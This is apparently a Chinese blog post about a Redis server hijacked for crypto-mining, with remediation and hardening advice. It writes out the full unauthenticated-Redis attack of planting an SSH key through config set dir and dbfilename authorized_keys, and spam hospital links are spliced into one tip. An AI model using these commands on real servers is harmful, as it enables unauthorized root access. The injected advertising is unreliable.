前言
前几天在自己服务器上搭了redis,准备想着大展身手一番,昨天使用redis-cli命令的时候,10s后,显示进程已杀死。然后又试了几次,都是一样的结果,10s时间,进程被杀死。这个时候我还没发现事情的严重性。
发现问题
进程莫名被杀死,可能是cpu被占满,赶紧看了一下cpu。
[root@VM_0_13_centos etc]# top
果然如此,cpu被莫名的占满了。简单,根据pid杀死进程就行了。
[root@VM_0_13_centos etc]# kill -9 27882
在我以为事情已经完结的情况下,使用reids-cli的时候又出现同样的问题,进程被杀死,我在用 top 命令查看的时候,cpu又被占满了。这个时候我才意识到问题的严重性,这个command是一串无规则数字,应该不是一个正经的进程,而且我试过了几次,这个进程总是在被杀死后重新启动,不过是以不同的pid和不同的command,这可能是一个定时任务,然后我看了一下本地的定时任务:
[root@VM_0_13_centos etc]# crontab -l
果然有一个定时任务,那就删掉他。
[root@VM_0_13_centos etc]# rm -rf /var/spool/cron/root
等我再次杀掉那个异常线程在 top 的时候,发现进程又出现了,我返回看定时任务的时候,发现定时任务也又出现了,直接崩溃....
问题原因
我从一个技术群里面了解到,这可能是redis漏洞所造成的,造成该现象的原因有如下几种:
将redis暴露在公网上,即把redis绑定在0.0.0.0:6379
redis密码过于简单,甚至没有(我就是后种情况..)
使用root权限操作redis
攻击原理
首先在本地产生密钥文件
$ ssh-keygen –t rsa
进入~/.ssh/,将公钥写进foo.txt文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa [email protected]
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
解决方法
阻断服务器与外界进行数据传输
我怀疑我的服务器被恶意被当作肉机,所以我第一步就将这种方式拦截掉。
$ iptables -A INPUT -sxmr.crypto-pool.fr -j DROP | iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
恢复
$ iptables -A INPUT -sxmr.crypto-pool.fr -j ACCEPT | iptables -A OUTPUT -d xmr.crypto-pool.fr -j ACCEPT
给redis设密码
配置文件redis.conf 中找到requirePass 项
清除authorized_keys的信息(如果有的话,我没有就不用了)
禁止定时任务开机启动
$ systemctl disabled cron.service
重启服务器,并删除定时任务
$ reboot
$ rm -rf /var/spool/cron/root
redis 安装建议
禁止Redis服务对公网开放,可通过修改redis.conf配置文件中的"#bind 127.0.0.1" ,去掉前面的"#"即可(Redis本来就是作为内存数据库,只要监听在本机即可);郑州男科医院:http://www.zzchanghong110.com/郑州专业男科医院:http://www.zzchanghong110.com/郑州男科医院哪家好:http://www.zzchanghong110.com/
设置密码访问认证,可通过修改redis.conf配置文件中的"requirepass" 设置复杂密码 (需要重启Redis服务才能生效);
对访问源IP进行访问控制,可在防火墙限定指定源ip才可以连接Redis服务器;
修改Redis默认端口,将默认的6379端口修改为其他端口;
禁用config指令避免恶意操作,在Redis配置文件redis.conf中配置rename-command项"RENAME_CONFIG",这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度;
Redis使用普通用户权限,禁止使用 root 权限启动Redis 服务,这样可以保证在存在漏洞的情况下攻击者也只能获取到普通用户权限,无法获取root权限;